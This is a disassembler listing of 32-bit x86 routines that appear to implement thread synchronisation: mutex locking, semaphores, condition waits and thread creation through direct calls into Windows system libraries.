		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F460:				; DATA XREF: ___:0042F390o
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F480	proc near		; CODE XREF: sub_401122j
		mov	eax, dword_50E3EC
		push	esi
		push	eax
		call	sub_401190
sub_42F480	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jz	short loc_42F4BE
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_42F4AC
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42F4AC
		mov	ecx, [esi+4]
		push	ecx
		call	eax
		add	esp, 4


loc_42F4AC:				; CODE XREF: ___:0042F49Bj
					; ___:0042F4A1j
		mov	edx, [esi+8]
		mov	eax, dword_50E3EC
		push	edx
		push	eax
		call	sub_4020DB
; ---------------------------------------------------------------------------
		add	esp, 8


loc_42F4BE:				; CODE XREF: ___:0042F493j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F4F0	proc near		; CODE XREF: sub_401659j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_8]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		mov	[esi+4], ecx
		mov	edx, dword_50E3EC
		push	edx
		call	sub_401190
sub_42F4F0	endp

; ---------------------------------------------------------------------------
		mov	[esi+8], eax
		mov	eax, dword_50E3EC
		push	esi
		push	eax
		call	sub_4020DB
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F540	proc near		; CODE XREF: sub_401B4Fj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E940
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42F574
		push	esi
		push	ecx
		call	sub_401541
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E940
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F574:				; CODE XREF: sub_42F540+17j
		test	eax, eax
		jnz	short loc_42F57D
		mov	esi, 16h


loc_42F57D:				; CODE XREF: sub_42F540+36j
		push	offset dword_50E940
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_42F540	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F5B0:				; CODE XREF: ___:004020FEj
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42F5D3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42F5D3:				; CODE XREF: ___:0042F5C2j
		mov	ecx, [esp+8]
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F5F0:				; CODE XREF: ___:004021D0j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_42F613
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42F613
		push	eax
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F613:				; CODE XREF: ___:0042F5F7j
					; ___:0042F5FDj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F630:				; CODE XREF: ___:00401005j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F64D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42F64D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_42F64D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42F64D:				; CODE XREF: ___:0042F636j
					; ___:0042F63Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F670:				; CODE XREF: ___:004012ADj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F69A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_42F69A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_42F68E
		test	eax, eax
		jnz	short loc_42F69A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_42F68E:				; CODE XREF: ___:0042F685j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_42F69A:				; CODE XREF: ___:0042F676j
					; ___:0042F67Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F6B0	proc near		; CODE XREF: sub_401541j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		cmp	eax, edi
		jnz	short loc_42F6C6
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F6C6:				; CODE XREF: sub_42F6B0+Cj
		mov	eax, [esp+8+arg_4]
		push	ebx
		cmp	eax, edi
		push	ebp
		jz	short loc_42F6ED
		mov	eax, [eax]
		cmp	eax, edi
		jz	short loc_42F6ED
		cmp	dword ptr [eax], 1
		jnz	short loc_42F6ED
		mov	edx, [esp+10h+arg_0]
		mov	edi, 28h
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F6ED:				; CODE XREF: sub_42F6B0+1Ej
					; sub_42F6B0+24j ...
		push	20h
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		cmp	esi, edi
		jnz	short loc_42F712
		mov	edx, [esp+10h+arg_0]
		mov	edi, 0Ch
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F712:				; CODE XREF: sub_42F6B0+4Ej
		lea	ebp, [esi+10h]
		push	1
		push	edi
		push	ebp
		mov	[esi], edi
		mov	[esi+8], edi
		mov	[esi+4], edi
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42F737
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		jmp	short loc_42F77B
; ---------------------------------------------------------------------------


loc_42F737:				; CODE XREF: sub_42F6B0+7Bj
		lea	ebx, [esi+0Ch]
		push	0
		push	0
		push	ebx
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42F755
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		jmp	short loc_42F772
; ---------------------------------------------------------------------------


loc_42F755:				; CODE XREF: sub_42F6B0+99j
		lea	eax, [esi+14h]
		push	0
		push	eax
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_42F7DF
		push	ebx
		call	sub_401686
		add	esp, 4


loc_42F772:				; CODE XREF: sub_42F6B0+A3j
		push	ebp
		call	sub_401686
		add	esp, 4


loc_42F77B:				; CODE XREF: sub_42F6B0+85j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	esi, esi
		test	edi, edi
		jnz	short loc_42F7D2


loc_42F78B:				; CODE XREF: sub_42F6B0+131j
		push	offset dword_50E9C0
		nop
		call	near ptr 7C901005h
		mov	dword ptr [esi+18h], 0
		mov	ecx, dword_50E3F4
		mov	[esi+1Ch], ecx
		mov	eax, dword_50E3F4
		test	eax, eax
		jz	short loc_42F7B2
		mov	[eax+18h], esi


loc_42F7B2:				; CODE XREF: sub_42F6B0+FDj
		mov	eax, dword_50E3F0
		mov	dword_50E3F4, esi
		test	eax, eax
		jnz	short loc_42F7C7
		mov	dword_50E3F0, esi


loc_42F7C7:				; CODE XREF: sub_42F6B0+10Fj
		push	offset dword_50E9C0
		nop
		call	near ptr 7C9010EDh


loc_42F7D2:				; CODE XREF: sub_42F6B0+D9j
		mov	edx, [esp+10h+arg_0]
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F7DF:				; CODE XREF: sub_42F6B0+B7j
		xor	edi, edi
		jmp	short loc_42F78B
sub_42F6B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F840	proc near		; CODE XREF: sub_401A91j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		xor	esi, esi
		xor	ebp, ebp
		xor	ebx, ebx
		test	edi, edi
		mov	[esp+14h+var_4], ebp
		jz	loc_42F9EC
		mov	eax, [edi]
		test	eax, eax
		jz	loc_42F9EC
		cmp	eax, 0FFFFFFFFh
		jz	loc_42F9A3
		push	offset dword_50E9C0
		call	near ptr 7C901005h
		nop
		mov	esi, [edi]
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42F899
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F899:				; CODE XREF: sub_42F840+49j
		lea	ebp, [esi+14h]
		push	ebp
		call	sub_40177B
		add	esp, 4
		mov	[esp+14h+arg_0], eax
		test	eax, eax
		jz	short loc_42F8C0
		push	ebx
		call	sub_40103C
		mov	eax, [esp+18h+arg_0]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F8C0:				; CODE XREF: sub_42F840+6Bj
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jle	short loc_42F8F9
		push	ebx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42F8E2
		nop
		call	near ptr 77C1F2BCh
		mov	ecx, [eax]
		mov	[esp+14h+arg_0], ecx


loc_42F8E2:				; CODE XREF: sub_42F840+94j
		push	ebp
		call	sub_4010C3
		add	esp, 4
		mov	[esp+14h+var_4], eax
		mov	ebx, 10h
		jmp	loc_42F98E
; ---------------------------------------------------------------------------


loc_42F8F9:				; CODE XREF: sub_42F840+87j
		push	ebx
		mov	dword ptr [edi], 0
		call	sub_401686
		mov	edi, dword_50FA64
		add	esp, 4
		test	eax, eax
		jz	short loc_42F91A
		call	edi	; _errno
		mov	edx, [eax]
		mov	[esp+14h+arg_0], edx


loc_42F91A:				; CODE XREF: sub_42F840+D0j
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_401686
		add	esp, 4
		test	eax, eax
		jz	short loc_42F932
		call	edi	; _errno
		mov	ecx, [eax]
		mov	[esp+14h+var_4], ecx


loc_42F932:				; CODE XREF: sub_42F840+E8j
		push	ebp
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_42F94C
		push	ebp
		call	sub_40222F
		add	esp, 4
		mov	ebx, eax


loc_42F94C:				; CODE XREF: sub_42F840+FFj
		cmp	dword_50E3F0, esi
		jnz	short loc_42F95F
		mov	edx, [esi+18h]
		mov	dword_50E3F0, edx
		jmp	short loc_42F968
; ---------------------------------------------------------------------------


loc_42F95F:				; CODE XREF: sub_42F840+112j
		mov	eax, [esi+1Ch]
		mov	ecx, [esi+18h]
		mov	[eax+18h], ecx


loc_42F968:				; CODE XREF: sub_42F840+11Dj
		cmp	dword_50E3F4, esi
		jnz	short loc_42F97B
		mov	edx, [esi+1Ch]
		mov	dword_50E3F4, edx
		jmp	short loc_42F984
; ---------------------------------------------------------------------------


loc_42F97B:				; CODE XREF: sub_42F840+12Ej
		mov	eax, [esi+18h]
		mov	ecx, [esi+1Ch]
		mov	[eax+1Ch], ecx


loc_42F984:				; CODE XREF: sub_42F840+139j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_42F98E:				; CODE XREF: sub_42F840+B4j
		push	offset dword_50E9C0
		call	near ptr 7C9010EDh
		nop
		mov	esi, [esp+14h+arg_0]
		mov	ebp, [esp+14h+var_4]
		jmp	short loc_42F9D2
; ---------------------------------------------------------------------------


loc_42F9A3:				; CODE XREF: sub_42F840+28j
		push	offset dword_50E940
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_42F9BB
		mov	dword ptr [edi], 0
		jmp	short loc_42F9C7
; ---------------------------------------------------------------------------


loc_42F9BB:				; CODE XREF: sub_42F840+171j
		mov	[esp+14h+arg_0], 10h
		mov	esi, [esp+14h+arg_0]


loc_42F9C7:				; CODE XREF: sub_42F840+179j
		push	offset dword_50E940
		nop
		call	near ptr 7C9010EDh


loc_42F9D2:				; CODE XREF: sub_42F840+161j
		test	esi, esi
		jz	short loc_42F9DE
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F9DE:				; CODE XREF: sub_42F840+194j
		test	ebp, ebp
		mov	eax, ebp
		jnz	short loc_42F9F1
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F9EC:				; CODE XREF: sub_42F840+15j
					; sub_42F840+1Fj
		mov	eax, 16h


loc_42F9F1:				; CODE XREF: sub_42F840+1A2j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42F840	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FA70	proc near		; CODE XREF: sub_401203j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	eax
		push	ecx
		call	sub_42FAA0
		add	esp, 0Ch
		retn
sub_42FA70	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FAA0	proc near		; CODE XREF: sub_42FA70+Cp
					; sub_42FD70+19p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 20h
		push	esi
		mov	esi, [esp+24h+arg_0]
		test	esi, esi
		push	edi
		mov	[esp+28h+var_20], 0
		jz	loc_42FBA9
		mov	eax, [esi]
		test	eax, eax
		jz	loc_42FBA9
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42FAE2
		push	esi
		call	sub_401B4F
		add	esp, 4
		mov	[esp+28h+var_20], eax
		test	eax, eax
		jz	short loc_42FAE2
		cmp	eax, 10h
		jnz	loc_42FBAE


loc_42FAE2:				; CODE XREF: sub_42FAA0+26j
					; sub_42FAA0+37j
		mov	esi, [esi]
		lea	edi, [esi+10h]
		push	edi
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42FB02
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_42FB02:				; CODE XREF: sub_42FAA0+52j
		mov	ecx, [esi]
		push	edi
		inc	ecx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42FB22
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_42FB22:				; CODE XREF: sub_42FAA0+72j
		mov	edi, [esp+28h+arg_4]
		lea	ecx, [esp+28h+var_10]
		push	ecx
		lea	edx, [esp+2Ch+var_1C]
		lea	eax, [esp+2Ch+var_20]
		push	offset loc_42FC10
		push	edx
		mov	[esp+34h+var_10], edi
		mov	[esp+34h+var_C], esi
		mov	[esp+34h+var_8], eax
		mov	[esp+34h+var_4], 0
		call	sub_401659
; ---------------------------------------------------------------------------
		dw 0E857h
		dd 0FFFD156Bh, 8910C483h, 85082444h, 8B2775C0h,	83342444h
		dd 56500CC6h, 0FD1D27E8h, 8C483FFh, 0E74C085h, 0F73EE890h
		dd 8B777Eh, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah
		dd 89C1940Fh, 0E828244Ch, 0FFFD1586h, 0C24448Bh, 5F04C483h
		dd 20C4835Eh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42FBA9:				; CODE XREF: sub_42FAA0+13j
					; sub_42FAA0+1Dj
		mov	eax, 16h


loc_42FBAE:				; CODE XREF: sub_42FAA0+3Cj
		pop	edi
		pop	esi
		add	esp, 20h
		retn
sub_42FAA0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FC10:				; DATA XREF: sub_42FAA0+93o
		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		mov	esi, [ebp+4]
		mov	ebx, [ebp+8]
		mov	[esp+18h], ebx
		lea	edi, [esi+14h]
		push	edi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jz	short loc_42FC3B
		pop	edi
		pop	esi
		mov	[ebx], eax
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FC3B:				; CODE XREF: ___:0042FC31j
		mov	ebx, [esi+8]
		test	ebx, ebx
		mov	[esp+10h], ebx
		jz	short loc_42FC4E
		lea	eax, [ebx-1]
		mov	[esi+8], eax
		jmp	short loc_42FCB7
; ---------------------------------------------------------------------------


loc_42FC4E:				; CODE XREF: ___:0042FC44j
		mov	ecx, [esi+4]
		inc	ecx
		mov	eax, ecx
		mov	[esi+4], ecx
		cmp	eax, 3FFFFFFFh
		jnz	short loc_42FCB7
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42FC82
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FC82:				; CODE XREF: ___:0042FC6Cj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		sub	ecx, eax
		push	ebx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42FCAC
		call	near ptr 77C1F2BCh
		nop
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FCAC:				; CODE XREF: ___:0042FC96j
		mov	ebx, [esp+10h]
		mov	dword ptr [esi+4], 0


loc_42FCB7:				; CODE XREF: ___:0042FC4Cj
					; ___:0042FC5Cj
		push	edi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jz	short loc_42FCD0
		mov	ecx, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[ecx], eax
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FCD0:				; CODE XREF: ___:0042FCC2j
		cmp	ebx, 1
		jnz	short loc_42FCF9
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42FCF9
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		mov	eax, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FCF9:				; CODE XREF: ___:0042FCD3j
					; ___:0042FCE3j
		mov	ecx, [ebp+0]
		push	ecx
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jz	short loc_42FD0F
		mov	edx, [esp+18h]
		mov	[edx], eax


loc_42FD0F:				; CODE XREF: ___:0042FD07j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FD70	proc near		; CODE XREF: sub_4011E0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jnz	short loc_42FD7E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42FD7E:				; CODE XREF: sub_42FD70+6j
		mov	ecx, [esp+arg_0]
		push	eax
		mov	eax, [esp+4+arg_4]
		push	eax
		push	ecx
		call	sub_42FAA0
		add	esp, 0Ch
		retn
sub_42FD70	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FDB0	proc near		; CODE XREF: sub_401E51j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_42FDD0
		add	esp, 8
		retn
sub_42FDB0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FDD0	proc near		; CODE XREF: sub_42FDB0+7p
					; sub_42FF30+7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	loc_42FED4
		mov	esi, [eax]
		test	esi, esi
		jz	loc_42FED4
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42FDF4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FDF4:				; CODE XREF: sub_42FDD0+1Cj
		lea	ebx, [esi+14h]
		push	ebx
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	loc_42FED9
		mov	ecx, [esi+8]
		mov	eax, [esi]
		test	ecx, ecx
		jz	short loc_42FE44
		test	eax, eax
		jnz	short loc_42FE22


loc_42FE15:				; CODE XREF: sub_42FDD0+77j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FE22:				; CODE XREF: sub_42FDD0+43j
		mov	edx, [esp+0Ch+arg_4]
		test	edx, edx
		jz	short loc_42FE39
		mov	edi, eax
		mov	dword ptr [esi], 0
		add	ecx, edi
		mov	[esi+8], ecx
		jmp	short loc_42FEA6
; ---------------------------------------------------------------------------


loc_42FE39:				; CODE XREF: sub_42FDD0+58j
		inc	ecx
		mov	edi, 1
		mov	[esi+8], ecx
		jmp	short loc_42FEA3
; ---------------------------------------------------------------------------


loc_42FE44:				; CODE XREF: sub_42FDD0+3Fj
		cmp	eax, [esi+4]
		jle	short loc_42FE15
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42FE70
		call	near ptr 77C1F2BCh
		nop
		mov	esi, [eax]
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FE70:				; CODE XREF: sub_42FDD0+87j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_42FE84
		mov	ecx, [esi]
		mov	dword ptr [esi+4], 0
		sub	ecx, eax
		mov	[esi], ecx


loc_42FE84:				; CODE XREF: sub_42FDD0+A5j
		mov	eax, [esp+0Ch+arg_4]
		test	eax, eax
		jz	short loc_42FE99
		mov	edi, [esi]
		mov	dword ptr [esi], 0
		mov	[esi+8], edi
		jmp	short loc_42FEA6
; ---------------------------------------------------------------------------


loc_42FE99:				; CODE XREF: sub_42FDD0+BAj
		mov	eax, [esi]
		mov	edi, 1
		mov	[esi+8], edi


loc_42FEA3:				; CODE XREF: sub_42FDD0+72j
		dec	eax
		mov	[esi], eax


loc_42FEA6:				; CODE XREF: sub_42FDD0+67j
					; sub_42FDD0+C7j
		push	ebx
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_42FECE
		add	esi, 0Ch
		push	edi
		push	esi
		call	sub_40204A
		add	esp, 8
		test	eax, eax
		jz	short loc_42FECE
		nop
		call	near ptr 77C1F2BCh
		mov	ebx, [eax]


loc_42FECE:				; CODE XREF: sub_42FDD0+E3j
					; sub_42FDD0+F4j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FED4:				; CODE XREF: sub_42FDD0+9j
					; sub_42FDD0+13j
		mov	eax, 16h


loc_42FED9:				; CODE XREF: sub_42FDD0+32j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42FDD0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FF30	proc near		; CODE XREF: sub_401604j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_42FDD0
		add	esp, 8
		retn
sub_42FF30	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FF50	proc near		; CODE XREF: sub_40123Aj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, 0Bh
		xor	ebx, ebx
		call	sub_401B13
		mov	esi, eax
		test	esi, esi
		jz	loc_430026
		mov	eax, [esi+28h]
		push	0Ch
		mov	[esp+14h+var_4], eax
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_430026
		mov	ecx, [esp+10h+arg_8]
		mov	edx, [esp+10h+arg_C]
		push	ebp
		mov	ebp, [esp+14h+arg_4]
		test	ebp, ebp
		mov	[ebx], esi
		mov	[ebx+4], ecx
		mov	[ebx+8], edx
		jz	short loc_42FFCE
		mov	eax, [ebp+0]
		test	eax, eax
		jz	short loc_42FFCE
		mov	edi, [eax+8]
		mov	eax, [eax+0Ch]
		mov	[esi+20h], eax
		mov	eax, [ebp+0]
		mov	ecx, [eax+10h]
		mov	[esp+14h+var_4], ecx
		mov	ecx, [eax+14h]
		test	ecx, ecx
		jnz	short loc_42FFD0
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	edx, [eax+28h]
		mov	[esp+14h+var_4], edx
		jmp	short loc_42FFD0
; ---------------------------------------------------------------------------


loc_42FFCE:				; CODE XREF: sub_42FF50+4Dj
					; sub_42FF50+54j
		xor	edi, edi


loc_42FFD0:				; CODE XREF: sub_42FF50+6Ej
					; sub_42FF50+7Cj
		push	esi
		push	4
		push	ebx
		xor	eax, eax
		push	offset loc_401B95
		push	edi
		push	eax
		mov	[esi+0Ch], eax
		mov	[esi+80h], eax
		nop
		call	near ptr 77C3A3DBh
		mov	edi, eax
		add	esp, 18h
		test	edi, edi
		mov	[esi+4], edi
		jz	short loc_430019
		test	ebp, ebp
		jz	short loc_430012
		cmp	dword ptr [ebp+0], 0
		jz	short loc_430012
		mov	eax, [esp+14h+var_4]
		push	eax
		push	0
		push	esi
		call	sub_4020B3
		add	esp, 0Ch


loc_430012:				; CODE XREF: sub_42FF50+AAj
					; sub_42FF50+B0j
		push	edi
		nop
		call	near ptr 2750000h


loc_430019:				; CODE XREF: sub_42FF50+A6j
		neg	edi
		sbb	edi, edi
		pop	ebp
		and	edi, 0FFFFFFF5h
		add	edi, 0Bh
		jz	short loc_430059


loc_430026:				; CODE XREF: sub_42FF50+14j
					; sub_42FF50+30j
		push	esi
		call	sub_4017AD
		add	esp, 4
		xor	esi, esi
		test	ebx, ebx
		jz	short loc_43004C
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+14h+arg_0]
		add	esp, 4
		mov	eax, edi
		mov	[ecx], esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43004C:				; CODE XREF: sub_42FF50+E3j
		mov	edx, [esp+10h+arg_0]
		mov	eax, edi
		pop	edi
		mov	[edx], esi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430059:				; CODE XREF: sub_42FF50+D4j
		mov	eax, [esp+10h+arg_0]
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
